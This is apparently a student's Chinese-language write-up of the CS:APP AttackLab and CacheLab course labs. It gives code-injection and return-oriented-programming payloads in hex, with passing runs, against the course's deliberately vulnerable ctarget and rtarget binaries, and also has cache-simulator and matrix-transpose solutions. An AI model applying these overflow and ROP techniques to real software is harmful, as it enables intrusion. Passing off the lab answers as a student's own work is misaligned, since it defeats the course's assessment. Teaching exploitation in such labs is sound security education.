  40188d:	48 29 c2             	sub    %rax,%rdx
  401890:	48 8d 04 92          	lea    (%rdx,%rdx,4),%rax
  401894:	48 8d 04 80          	lea    (%rax,%rax,4),%rax
  401898:	48 c1 e0 02          	shl    $0x2,%rax
  40189c:	48 29 c1             	sub    %rax,%rcx
  40189f:	48 8d 1c 0c          	lea    (%rsp,%rcx,1),%rbx
  4018a3:	45 89 e0             	mov    %r12d,%r8d
  4018a6:	b9 e2 30 40 00       	mov    $0x4030e2,%ecx
  4018ab:	48 c7 c2 ff ff ff ff 	mov    $0xffffffffffffffff,%rdx
  4018b2:	be 01 00 00 00       	mov    $0x1,%esi
  4018b7:	48 89 df             	mov    %rbx,%rdi
  4018ba:	b8 00 00 00 00       	mov    $0x0,%eax
  4018bf:	e8 ac f5 ff ff       	callq  400e70 <__sprintf_chk@plt>
  4018c4:	ba 09 00 00 00       	mov    $0x9,%edx
  4018c9:	48 89 de             	mov    %rbx,%rsi
  4018cc:	48 89 ef             	mov    %rbp,%rdi
  4018cf:	e8 cc f3 ff ff       	callq  400ca0 <strncmp@plt>
  4018d4:	85 c0                	test   %eax,%eax
  4018d6:	0f 94 c0             	sete   %al
  4018d9:	0f b6 c0             	movzbl %al,%eax
  4018dc:	48 8b 74 24 78       	mov    0x78(%rsp),%rsi
  4018e1:	64 48 33 34 25 28 00 	xor    %fs:0x28,%rsi
  4018e8:	00 00 
  4018ea:	74 05                	je     4018f1 <hexmatch+0xa5>
  4018ec:	e8 ef f3 ff ff       	callq  400ce0 <__stack_chk_fail@plt>
  4018f1:	48 83 ec 80          	sub    $0xffffffffffffff80,%rsp
  4018f5:	5b                   	pop    %rbx
  4018f6:	5d                   	pop    %rbp
  4018f7:	41 5c                	pop    %r12
  4018f9:	c3                   	retq   

00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
  401905:	00 00 00 
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
  401911:	e8 36 ff ff ff       	callq  40184c <hexmatch>
  401916:	85 c0                	test   %eax,%eax
  401918:	74 23                	je     40193d <touch3+0x43>
  40191a:	48 89 da             	mov    %rbx,%rdx
  40191d:	be 38 31 40 00       	mov    $0x403138,%esi
  401922:	bf 01 00 00 00       	mov    $0x1,%edi
  401927:	b8 00 00 00 00       	mov    $0x0,%eax
  40192c:	e8 bf f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401931:	bf 03 00 00 00       	mov    $0x3,%edi
  401936:	e8 52 03 00 00       	callq  401c8d <validate>
  40193b:	eb 21                	jmp    40195e <touch3+0x64>
  40193d:	48 89 da             	mov    %rbx,%rdx
  401940:	be 60 31 40 00       	mov    $0x403160,%esi
  401945:	bf 01 00 00 00       	mov    $0x1,%edi
  40194a:	b8 00 00 00 00       	mov    $0x0,%eax
  40194f:	e8 9c f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401954:	bf 03 00 00 00       	mov    $0x3,%edi
  401959:	e8 f1 03 00 00       	callq  401d4f <fail>
  40195e:	bf 00 00 00 00       	mov    $0x0,%edi
  401963:	e8 d8 f4 ff ff       	callq  400e40 <exit@plt>

cookie值为0x59b997fa,可以在Linux上使用命令man ascii查看ascci表,因此cookie值的十六进制字符串表示"59b997fa"的字节表示61 66 37 39 39 62 39 35 00大端序,Lab说明里面提醒了ordered from most to least significant)。 最后的00别忘了,c语言中的string由char[]表示,以’\0’(null characher)为结尾。

为了实现代码注入,同Level2的分析,应该写入48字节的数据,且数据的最后8字节应该是0x5561dc78。由于要给touch3传入字符串"59b997fa",注入代码应该将%rdi设置为字符串"59b997fa"的地址

当调用hexmatch和strncmp函数时,它们会将数据入栈,覆盖getbuf使用的缓冲区。因此,不要将字符串"59b997fa"存储在getbuf使用的缓冲区内,我选择把它存在getbuf使用的缓冲区下方的区域。解决思路如栈区图所示:

在这里插入图片描述

exploit code说明,命名为Level3ExploitCode.s文件:

pushq $0x4018fa  #touch3的地址压栈
mov $0x5561dc68,%r8 #寄存器r8保存字符串的起始地址,上图中的%rsp-0x10
movabs $0x6166373939623935,%r9#寄存器r9暂存cookie字符串的[大端序]字节表示
mov %r9,(%r8)#将cookie字符串保存到%r8指代的起始地址
movl $0x0,0x8(%r8)#设置00结尾字节
mov %r8,%rdi#将字符串起始地址赋给%rdi,作为第一个参数
ret

用GCC(作为assmbler)和OBJDUMP(作为disassembler)为Level3ExploitCode.s生成汇编命令的字节表示,命令见Level2。生成的Level3ExploitCode.d文件如下:

Level3ExploitCode.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	68 fa 18 40 00       	pushq  $0x4018fa
   5:	49 c7 c0 68 dc 61 55 	mov    $0x5561dc68,%r8
   c:	49 b9 35 39 62 39 39 	movabs $0x6166373939623935,%r9
  13:	37 66 61 
  16:	4d 89 08             	mov    %r9,(%r8)
  19:	41 c7 40 08 00 00 00 	movl   $0x0,0x8(%r8)
  20:	00 
  21:	4c 89 c7             	mov    %r8,%rdi
  24:	c3                   	retq   

综合上述分析,给出本关的一个可行解的字节表示,如下。注意:使用小端序并且不要包含0x0a (是\n的ascii码)。汇编指令的字节表示已经是小端序了,不需要反转注入代码的地址0x5561dc78需要写成小端序! cookie的字符串的字节表示使用大端序!

68 fa 18 40 00			/*  pushq  $0x4018fa */
49 c7 c0 68 dc 61 55	/*  mov    $0x5561dc68,%r8 */
49 b9 35 39 62 39 39	/*  movabs $0x6166373939623935,%r9 */
37 66 61 
4d 89 08				/*  mov    %r9,(%r8) */
41 c7 40 08 00 00 00	/*  movl   $0x0,0x8(%r8) */
00
4c 89 c7				/* 	mov    %r8,%rdi	 */
c3						/*  retq   */
88 88 88
78 dc 61 55 00 00 00 00

将如上字节作为hex2raw程序的入参,产生的字符串再传给ctarget,实现代码注入。执行效果如下:

cs144@cs144vm:~/CSAPP/AttackLab/target1/Level3$ cat Level3.txt | ../hex2raw | ../ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:68 FA 18 40 00 49 C7 C0 68 DC 61 55 49 B9 35 39 62 39 39 37 66 61 4D 89 08 41 C7 40 08 00 00 00 00 4C 89 C7 C3 88 88 88 78 DC 61 55 00 00 00 00 
1.2 Return-Oriented Programming

Level4和Level5攻击的是rtarget,不能像前三关一样进行代码注入了。原因:1.随机化让你很难预判注入代码的位置;2.将栈区标记为不可执行了。要使用ROP手段,预备知识:

  • 实验文档 上关于ROP的介绍,以及movl、movq、popq等命令的表格。
  • CALL指令:首先执行push指令,将返回地址(也就是执行到call指令、但还没跳转时EIP的值)压栈。然后执行jump指令,跳转到被调用方法的起始地址。
  • RET指令:首先执行pop指令,将栈顶的数据弹出并赋给EIP,然后以EIP为下一条指令地址继续执行。
1.2.1 Level4

Level4的任务和Level2几乎一样,让getbuf()函数执行结束后不返回调用它的test函数,而是去调用函数touch2,并给它传入参数为cookie值,只是把攻击的对象从ctarget改成了rtarget,攻击方法从代码注入改成了ROP(Return-Oriented Programming),具体见实验文档 。由Level2可知,这关的任务就是用gadget拼接出下列代码的效果

68 ec 17 40 00			/* pushq  $0x4017ec */
48 c7 c7 fa 97 b9 59 	/* mov    $0x59b997fa,%rdi */
c3						/* retq */

首先,用objdump -d rtarget > rtarget_disasCode.txt生成rtarget的汇编代码。 实验文档 出了重要提示(说了要好好看吧):

  • 所有需要的gadgets都可以在start_farm和mid_farm之间找到,且此关只需要两个gadgets
  • 只需要使用四种指令类型:movq、popq、ret、nop;
  • 当gadget使用popq指令时,它将从栈pop出数据。因此,exploit code应由gadget地址和数据组合而成

找出start_farm和mid_farm之间的汇编代码,查实验文档的Figure3A表可以找出如下两条gadget,位置见注释

  • gadget1:内容为"48 89 c7 c3",地址为"4019a2"。等价于movq %rax,%rdi (48 89 c7)和ret (c3)。
  • gadget2:内容为"58 90 c3",地址为"4019ab"。等价于popq %rax (58) 、nop (90)和ret (c3)。
0000000000401994 <start_farm>:
  401994:	b8 01 00 00 00       	mov    $0x1,%eax
  401999:	c3                   	retq   

000000000040199a <getval_142>:
  40199a:	b8 fb 78 90 90       	mov    $0x909078fb,%eax
  40199f:	c3                   	retq   

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax # gadget1: 48 89 c7 c3
  4019a6:	c3                   	retq   

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax # gadget2: 58 90 c3
  4019ad:	c3                   	retq   

00000000004019ae <setval_237>:
  4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  4019b4:	c3                   	retq   

00000000004019b5 <setval_424>:
  4019b5:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)
  4019bb:	c3                   	retq   

00000000004019bc <setval_470>:
  4019bc:	c7 07 63 48 8d c7    	movl   $0xc78d4863,(%rdi)
  4019c2:	c3                   	retq   

00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq   

00000000004019ca <getval_280>:
  4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  4019cf:	c3                   	retq   

00000000004019d0 <mid_farm>:
  4019d0:	b8 01 00 00 00       	mov    $0x1,%eax
  4019d5:	c3                   	retq   

因此,可以将解决思路用栈区示意图表示:

在这里插入图片描述

输入72个字节,前40个字节用作pad,即灰色区域,填充getbuf栈帧中的缓冲区;后32个字节作为exlpoit code,即绿色区域,全部放置在test栈帧内

  • 当getbuf函数调用结束前,调用命令add $0x28,%rsp会让%rsp回到test栈帧底部,调用命令retq后cpu会将此时%rsp指向的内容(gadget2地址)当成返回地址,并出栈(%rsp再上移,指向cookie值)。因此,会先执行gadget2,即执行popq %rax,将此时**%rsp指向的内容(cookie值)弹出并赋给%rax**。
  • 同理,gadget2执行结束后,cpu会将此时%rsp指向的内容(gadget1地址)当成返回地址,执行gadget1,即执行movq %rax,%rdi,将%rdi设置成cookie值。
  • gadget1执行结束后,执行touch2,因为此时第一个参数%rdi已经正确设置,因此通关了!

将上述字节以小端序写入到Level4.txt中,并传入到hex2raw程序,所得结果再传给rtarget程序,效果如下:

88 88 88 88 88 88 88 88	/* pad */
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
ab 19 40 00 00 00 00 00 /* gadget2 */
fa 97 b9 59 00 00 00 00 /* cookie */
a2 19 40 00 00 00 00 00 /* gadget1 */
ec 17 40 00 00 00 00 00 /* touch2 */
cs144@cs144vm:~/CSAPP/AttackLab/target1/Level4$ cat Level4.txt | ../hex2raw | ../rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 
1.2.2 Level5

Level5的任务和Level3一样,让getbuf()函数执行结束后不返回调用它的test函数,而是去调用函数touch3,并使参数为cookie值的十六进制字符串的地址,要求使用ROP方式攻击rtarget,让程序在调用touch3之前使%rdi寄存器的内容为字符串的地址。

思路

  • 选择字符串存储的位置:由于随机化,每次调用完getbuf()函数后的%rsp值都是不确定的。因此,无法用绝对位置存放字符串。应该把字符串存在相对位置上,可以使用%rsp为基地址,将字符串存在%rsp+k的位置上。%rsp加上正整数k,而不是减去正整数k,是因为touch3函数会修改getbuf栈帧中的数据,故需要字符串放在getbuf栈帧上面。正整数k的具体值由我们使用的gadget情况而定。

  • 找出有用的gadget:movq、movl、pop这种是有用的。andb R,R、orb R,R、compb R,R和testb R,R这种不会修改寄存器的值,没啥用。搜索范围在start_farm和end-farm之间,相同效果的gadget找出一条就行,如下所示:

    90是nop命令。为了计算相对地址,需要将add_xy整个函数当成一个gadget,此函数使用lea (%rdi,%rsi,1),%rax命令。这是本关的难点,一开始很难想到把一个完整的函数当成gadget…

    # mov相关
    48 89 c7 c3 # movq %rax, %rdi 地址:4019a2
    89 c2 90 c3 # movl %eax, %edx 地址:4019dd
    89 e0 c3 	# movl %esp, %eax 地址:401a3c
    89 ce 90 90 c3 # movl %ecx, %esi 地址:401a13
    48 89 e0 c3 # movq %rsp, %rax 地址:401a06
    89 d1 38 c9 c3 # movl %edx, %ecx 和 compb %cl, %cl 地址:401a34
    # pop相关
    58 90 c3 # popq %rax 地址:4019ab
    # lea相关,计算相对地址!
    48 8d 04 37 c3 # lea  (%rdi,%rsi,1),%rax 地址:4019d6
    
  • 画出栈区示意图

在这里插入图片描述

  • 将字节数据写入如下Level5.txt文件,并输入到rtarget执行。

    88 88 88 88 88 88 88 88 /* pad */
    88 88 88 88 88 88 88 88
    88 88 88 88 88 88 88 88
    88 88 88 88 88 88 88 88
    88 88 88 88 88 88 88 88
    06 1a 40 00 00 00 00 00 /* movq %rsp,%rax */
    a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
    ab 19 40 00 00 00 00 00 /* popq %rax */
    48 00 00 00 00 00 00 00 /* 0x48 */
    dd 19 40 00 00 00 00 00 /* movl %eax, %edx */
    34 1a 40 00 00 00 00 00 /* movl %edx, %ecx */
    13 1a 40 00 00 00 00 00 /* movl %ecx, %esi */
    d6 19 40 00 00 00 00 00 /* lea (%rdi,%rsi,1),%rax */
    a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
    fa 18 40 00 00 00 00 00 /* touch3 */
    35 39 62 39 39 37 66 61 00 /* cookie */
    

    执行效果如下:

    cs144@cs144vm:~/CSAPP/AttackLab/target1/Level5$ cat Level5.txt | ../hex2raw | ../rtarget -q
    Cookie: 0x59b997fa
    Type string:Touch3!: You called touch3("59b997fa")
    Valid solution for level 3 with target rtarget
    PASS: Would have posted the following:
            user id bovik
            course  15213-f15
            lab     attacklab
            result  1:PASS:0xffffffff:rtarget:3:88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 
    

    注意Level5.txt中写注释时,/*的后面和 */的前面必须要有空格,不然上述命令执行后会报Segmentation fault!很坑,让我卡了好久。

2 总结

AttackLab让我看到缓冲区溢出的危害,明白以前刷PAT时OJ为什么不让用gets这种不限制输入长度的函数了,以后自己写C代码也要避免使用这类危险函数。学习到两种利用缓冲区溢出的攻击方式:代码注入和面向返回地址编程,这是黑暗魔法啊。对栈区、x86-64机器代码参数传递、debug工具等更加熟悉,虽然找gadget有点眼花,但实验还是非常有意思的!通了这关,来吧,谁是下一个。

实验时长:33h45m。断断续续地做实验,有亿点慢。

Lab4 CacheLab

一些有用的资料

  • Lab说明链接

    http://csapp.cs.cmu.edu/3e/cachelab.pdf

  • 官方课程的说明链接:

    https://www.cs.cmu.edu/~213/recitations/rec06_slides.pdf

    在这里插入图片描述

  • getopt命令: 懒得看英文就看中文博客 https://www.cnblogs.com/qingergege/p/5914218.html

    官方给的getopt的例子https://www.cs.cmu.edu/~213/activities/rec6.tar

第一个链接和第二个链接配合看。

1 实验步骤

PartA: Writing a Cache Simulator

在csim.c实现一个缓存模拟器。cachelab-handout提供了一个可执行文件作为参考,csim-ref,下面是它执行的一个例子,以traces/yi.trace为输入(-t traces/yi.trace),cache有2^4个sets(-s 4)、组相联为1(-E 1)、block有2^4字节(-b 4)。-v表示展示详细信息。log信息的首位是访问类型:“L” a data load, “S” a data store, and “M” a data modify (i.e., a data load followed by a data store).

linux> ./csim-ref -v -s 4 -E 1 -b 4 -t traces/yi.trace
L 10,1 miss
M 20,1 miss hit
L 22,1 hit
S 18,1 hit
L 110,1 miss eviction
L 210,1 miss eviction
M 12,1 miss eviction hit
hits:4 misses:5 evictions:3

我们的任务就是,完成csim.c文件,让它与参考模拟器一样,接收相同的命令行参数且提供相同的输出。下面是一些关键的programing rules:

  • 只对数据缓存感兴趣,因此模拟器应该忽略所有指令缓存访问(valgrind trace中以“I”开头的行)。
  • 假设内存访问是正确对齐的,这样单个内存访问就不会跨越块边界。因此可以忽略valgrind trace中的请求大小。

建议编程时,写完一个部分就测试一下。例如写完解析输入参数的函数,就测试一下是否能正确解析命令行选项,根据下面的printf打印结果,可以看到能正确解析参数。并且写完一个部分就commit一下,记录过程,越详细越好,又不花钱。

cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./csim -v -s 4 -E 1 -b 4 -t traces/yi.trace
set_bits:4 associativity:1 block_bits:4
help_flag:0 verbose_flag:1 trace:traces/yi.trace

实现思路:没啥特别的思路,照着下面这种cache结构图敲就完事。

在这里插入图片描述

代码如下。有几点说明一下:

  • 使用结构体cache_line_t的二维数组来模拟缓存,行表示set。

  • 使用calloc而不是malloc,因为前者会自动初始化

  • 因为要使用LRU替换算法,cache_line结构体需要维护访问的时间access_time

#include "cachelab.h"
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <math.h>
#define TRUE 1
#define FALSE 0

typedef int bool;
typedef struct cache_line
{
    int valid;
    unsigned long tag;
    int access_time;
    //Just simulate the cache, no need to actually allocate block
} cache_line_t;

cache_line_t **cache_memory;
int hits_num = 0, misses_num = 0, evictions_num = 0;
int set_bits = 0, associativity = 0, block_bits = 0;
int access_time = 0;
bool help_flag = FALSE, verbose_flag = FALSE;
char* traceFileName;

void getInputArguments(int argc, char *argv[]);
void searchCacheLine(int set_idx, unsigned long tag);
void printHelpInfo();

int main(int argc, char *argv[])
{
    getInputArguments(argc, argv);
    if (help_flag) {
        printHelpInfo();
        return 0;
    }
    // Allocate memory for cache
    int set_num = pow(2, set_bits);
    cache_memory = (cache_line_t **)calloc(set_num, sizeof(cache_line_t *));// calloc can initialize allocated memory
    if (cache_memory == NULL) return 0;//calloc can fail
    for (int i = 0; i < set_num; i++) {
        cache_memory[i] = (cache_line_t *)calloc(associativity, sizeof(cache_line_t));
        if (cache_memory[i] == NULL) return 0;//calloc can fail
    }

    // read trace files
    FILE *tFile;
    tFile = fopen(traceFileName, "r"); //open file for reading
    char access_type;
    unsigned long address;
    int size;
    while (fscanf(tFile, " %c %lx,%d", &access_type, &address, &size) > 0) {
        if (access_type == 'I')continue;
        if (verbose_flag) {
            printf("%c %lx,%d", access_type, address, size);
        }
        // parse address
        unsigned long full_mask = -1;//111...1
        unsigned long set_mask = full_mask >> (64 - set_bits);
        unsigned long tag = address >> (block_bits + set_bits);
        int set_idx = (address >> block_bits) & set_mask;
        // search cache line
        searchCacheLine(set_idx, tag); // L(load) or S(store), search once
        if (access_type == 'M') { // M(modift) = L(load) + S(store). search twice
            searchCacheLine(set_idx, tag);
        }
        if (verbose_flag) {
            printf("\n");
        }
    }
    fclose(tFile);// clean up resources

    // free memory for cache
    for (int i = 0; i < set_num; i++) {
        free(cache_memory[i]);
    }
    free(cache_memory);

    printSummary(hits_num, misses_num, evictions_num);
    return 0;
}

/*
 * getInputArguments - Parse command line arguments
 */ 
void getInputArguments(int argc, char *argv[])
{   
    char opt;
    while ((opt = getopt(argc, argv, "hvs:E:b:t:")) != -1) {
        switch (opt)
        {
        case 'h':
            help_flag = TRUE;
            break;
        case 'v':
            verbose_flag = TRUE;
            break;
        case 's':
            set_bits = atoi(optarg);
            break;
        case 'E':
            associativity = atoi(optarg);
            break;
        case 'b':
            block_bits = atoi(optarg);
            break;
        case 't':
            traceFileName = optarg;
            break;
        default:
            break;
        }
    }
}

/*
 * search cache line
 */
void searchCacheLine(int set_idx, unsigned long tag) {
    bool hit_flag = FALSE;
    for (int j = 0; j < associativity; j++) { // find hit line
        cache_line_t *line = &cache_memory[set_idx][j];
        if (line->valid && line->tag == tag) { // hit line
            if (verbose_flag) {
                printf(" hit");
            }
            hit_flag = TRUE;
            line->access_time = access_time++;
            hits_num++;
            break;
        }
    }
    if (!hit_flag) { // find invalid line and eviction line
        if (verbose_flag) {
            printf(" miss");
        }
        misses_num++;
        bool invalid_found = FALSE;
        for (int j = 0; j < associativity; j++) { 
            cache_line_t *line = &cache_memory[set_idx][j];
            if (!line->valid) { // invalid line
                if (!invalid_found) {
                    invalid_found = TRUE;
                    line->valid = 1;
                    line->tag = tag;
                    line->access_time = access_time++;
                }
                break;
            } 
        }
        if (!invalid_found) {
            if (verbose_flag) {
                printf(" eviction");
            }
            cache_line_t *eviction_line = &cache_memory[set_idx][0];
            for (int j = 1; j < associativity; j++) { 
                cache_line_t *line = &cache_memory[set_idx][j];
                if (line->access_time < eviction_line->access_time) { // eviction line
                    eviction_line = line;
                } 
            }
            eviction_line->tag = tag;
            eviction_line->access_time = access_time++;
            evictions_num++;
        }
    }
}

void printHelpInfo() {
    printf("Usage: ./csim-ref [-hv] -s <num> -E <num> -b <num> -t <file>\n");
    printf("Options:\n");
    printf("  -h         Print this help message.\n");
    printf("  -v         Optional verbose flag.\n");
    printf("  -s <num>   Number of set index bits.\n");
    printf("  -E <num>   Number of lines per set.\n");
    printf("  -b <num>   Number of block offset bits.\n");
    printf("  -t <file>  Trace file.\n\n");
    printf("Examples:\n");
    printf("  linux>  ./csim-ref -s 4 -E 1 -b 4 -t traces/yi.trace\n");
    printf("  linux>  ./csim-ref -v -s 8 -E 2 -b 4 -t traces/yi.trace\n");
}

测试结果:

cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./test-csim
                        Your simulator     Reference simulator
Points (s,E,b)    Hits  Misses  Evicts    Hits  Misses  Evicts
     3 (1,1,1)       9       8       6       9       8       6  traces/yi2.trace
     3 (4,2,4)       4       5       2       4       5       2  traces/yi.trace
     3 (2,1,4)       2       3       1       2       3       1  traces/dave.trace
     3 (2,1,3)     167      71      67     167      71      67  traces/trans.trace
     3 (2,2,3)     201      37      29     201      37      29  traces/trans.trace
     3 (2,4,3)     212      26      10     212      26      10  traces/trans.trace
     3 (5,1,5)     231       7       0     231       7       0  traces/trans.trace
     6 (5,1,5)  265189   21775   21743  265189   21775   21743  traces/long.trace
    27

TEST_CSIM_RESULTS=27
PartB: Optimizing Matrix Transpose

此部分要求我们写一个矩阵转置函数,使得cache miss的次数尽量少。看似很容易,不就是分块嘛,但要得满分是很难的。测试程序(参考test-trans.c和tracegen.c)使用valgrind抽取我们函数访问的地址并生成trace文件,使用csim-ref程序计算cache miss次数,从而对我们的转置函数进行评估。按矩阵大小,评分规则如下:

在这里插入图片描述

实验文档上的重要限制和提示:

  • 每个转置函数最多可以定义 12 个 int 类型的局部变量。这种限制的原因是测试代码无法计算对堆栈的引用,出题人希望您限制对堆栈的引用,并专注于源数组和目标数组的访问模式。

  • 转置函数不可使用递归,不能修改A矩阵…等等

  • 代码只需要对矩阵大小为32 × 32、64 x 64、61 x 67这三种情况正确,可以专门针对这三种情况对其进行优化。 你的函数可以明确检查输入大小并实现针对每种情况优化的单独代码。

  • 我们写的转置函数的performance是由一个direct-mapped cache(s = 5, E = 1, b = 5)评估的, conflict misses 是潜在的问题。思考代码中出现conflict misses的可能性,特别是访问对角线上的元素,尽量避免它们发生。

  • 分块技术Blocking能有效减少cache misses. 可参考:官方链接知乎链接CSAPP Cache Lab 缓存实验

分析

  1. cache的结构:32个set(2^s, s = 5),每个set有1个cache line(E = 1),cache line的block大小为32字节(2^b, b = 5),可以存8个int.

  2. 需要考虑两种形式的缓存冲突:首先,是同一个矩阵内的缓存冲突,例如访问A矩阵中的两个元素,它们正好需要使用同一个cache line;然后是不同矩阵间的缓存冲突,对A矩阵做的是Load操作,对B矩阵做的是Store操作,两个操作使用同一个缓存,可能访问的是同一个cache line。

    利用数组按行优先存储的性质,第一种冲突很好分析。为了分析第二种冲突,必须知道A矩阵和B矩阵的地址,可以通过以下两种方式。可以发现,对于相同的i和j,B[i] [j]和A[i] [j]地址的低10位肯定是相同的,故set index(6-10位)是相同的,又因为E=1,故使用同一个cache line,同时访问时会产生缓存冲突

    // 方法1.直接打印:在tracegen.c中使用prinf方法打印两个数组的地址,然后调用以下命令。可以看到,A和B地址相差0x40000=2^18
    cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./tracegen -M 32 -N 32 -F 0
    A:0x55ddbe979080 B:0x55ddbe9b9080
    
    // 方法2.分析法:A和B在tracegen.c被依次声明为静态变量,由x86-64 Linux内存分区可知,它们存放在Data区且地址连续。对于特定的i,j。B[i][j]与A[i][j]相差256 x 256 x 4 = 2^18字节
    static int A[256][256];
    static int B[256][256];
    

    到此,就可以理解为什么要特别注意对角线上的元素了。对角线上的元素横纵坐标相同,由上面的结论知,A[i] [i]与B[i] [i]使用相同的cache line。当Load完A[i] [i]后,会加载A[i] [i]及周围数据到某个cache line(不妨设为Lx),然后使用Store操作修改B[i] [i]时,会发现Lx存放的不是B[i] [i]及周围数据,这就产生了conflict misses,会导致evcition。

  3. 对于32 x 32矩阵,矩阵中的每行可以占4个cache line,故每8行会出现同一矩阵的缓存冲突。可以尝试采用8 x 8的分块,避免同一个矩阵内的缓存冲突。因为数组的按行优先存储,故分块的同一行的8个int元素属于同一个cache line,同一列的相邻int元素相差4个缓存行。这样,分块的8行刚好能放入cache中,因为8x4(间隔缓存行数) = 32(cache sets) x 1(cache line),这样也就不会存在重复的cache line,不会导致eviction。记为方案1,代码如下,(kk, jj)是矩阵A的8x8分块的左上角:

    char transpose_submit_desc[] = "Transpose submission";//方案1:普通分块
    void transpose_submit(int M, int N, int A[N][M], int B[M][N])
    {   
        int kk, jj, i, j, tmp;
        if (M == 32) { // 32 x 32
            for (kk = 0; kk < 32; kk += 8) {
                for (jj = 0; jj < 32; jj += 8) {
                    // blocking
                    for (i = kk; i < kk + 8; i++) {
                        for (j = jj; j < jj + 8; j++) {
                            tmp = A[i][j];
                            B[j][i] = tmp;
                        }
                    }
                }
            }
        }
    }
    

    测试结果如下。与简单的按行转置(Function 1)相比,上述8 x 8分块将cache misses从1183减少到了343,还不错,但满分要求是misses小于300,还需要优化。

    cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./test-trans -M 32 -N 32
    
    Function 0 (2 total)
    Step 1: Validating and generating memory traces
    Step 2: Evaluating performance (s=5, E=1, b=5)
    func 0 (Transpose submission): hits:1710, misses:343, evictions:311
    
    Function 1 (2 total)
    Step 1: Validating and generating memory traces
    Step 2: Evaluating performance (s=5, E=1, b=5)
    func 1 (Simple row-wise scan transpose): hits:870, misses:1183, evictions:1151
    
    Summary for official submission (func 0): correctness=1 misses=343
    
    TEST_TRANS_RESULTS=1:343
    

    怎么优化?可以引入局部变量减少Conflict misses,记为方案2,代码如下,(k, j)是矩阵A的8x8分块的左上角:

    char transpose_submit_desc[] = "Transpose submission";//方案2:引入局部变量减少Conflict misses
    void transpose_submit(int M, int N, int A[N][M], int B[M][N])
    {   
        int a, b, c, d, e, f, g, h;//引入8个局部变量
        int k, j, i;
        if (M == 32) { // 32 x 32
            for (k = 0; k < 32; k += 8) {
                for (j = 0; j < 32; j += 8) {
                    for (i = k; i < k + 8; i++) {//A的第i行的8个数值用局部变量存储,然后赋值给B的第i列
                        a = A[i][j];
                        b = A[i][j+1];
                        c = A[i][j+2];
                        d = A[i][j+3];
                        e = A[i][j+4];
                        f = A[i][j+5];
                        g = A[i][j+6];
                        h = A[i][j+7];
                        B[j][i] = a;
                        B[j+1][i] = b;
                        B[j+2][i] = c;
                        B[j+3][i] = d;
                        B[j+4][i] = e;
                        B[j+5][i] = f;
                        B[j+6][i] = g;
                        B[j+7][i] = h;
                    }
                }
            }
        }
    }
    

    测试结果如下,misses数为287, 满分。

    cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./test-trans -M 32 -N 32
    Function 0 (2 total)
    Step 1: Validating and generating memory traces
    Step 2: Evaluating performance (s=5, E=1, b=5)
    func 0 (Transpose submission): hits:1766, misses:287, evictions:255
    

    对比两次的代码,都是将A的第i行的8个元素赋给B的第i列的8个位置,无非是使用8个局部变量替代了一个最里层的for循环为什么引入局部变量就可以减少misses数?可以从定性或定量的角度分析:

    • 定性分析:对于对角线上的元素,例如A[0] [0]。1 如果不引入局部变量,会首先Load加载"A[0]的8个元素"(下面简称A[0])到cache中,然后Store将该值赋给B[0] [0],会加载"B[0]的8个元素"(下面简称B[0])到cache中,因为它们共用一个cache line,故B[0]替换掉A[0](eviction),然后处理A[0] [1]时,又会加载A[0]到缓存中,A[0]替换掉B[0](eviction)2 如果引入局部变量,首先Load加载A[0]到cache中,然后一次性把这8个元素访问掉,由a-h存储,然后再将a赋给B[0] [0],加载B[0]替换A[0](eviction),之后再将b-h依次赋给B[1] [0]到B[7] [0],不需要再加载A[0]到cache中,不会再有eviction…

      可以看到,引入局部变量后,eviction从2次减少到了1次,有效减少了对角线元素的confict misses。

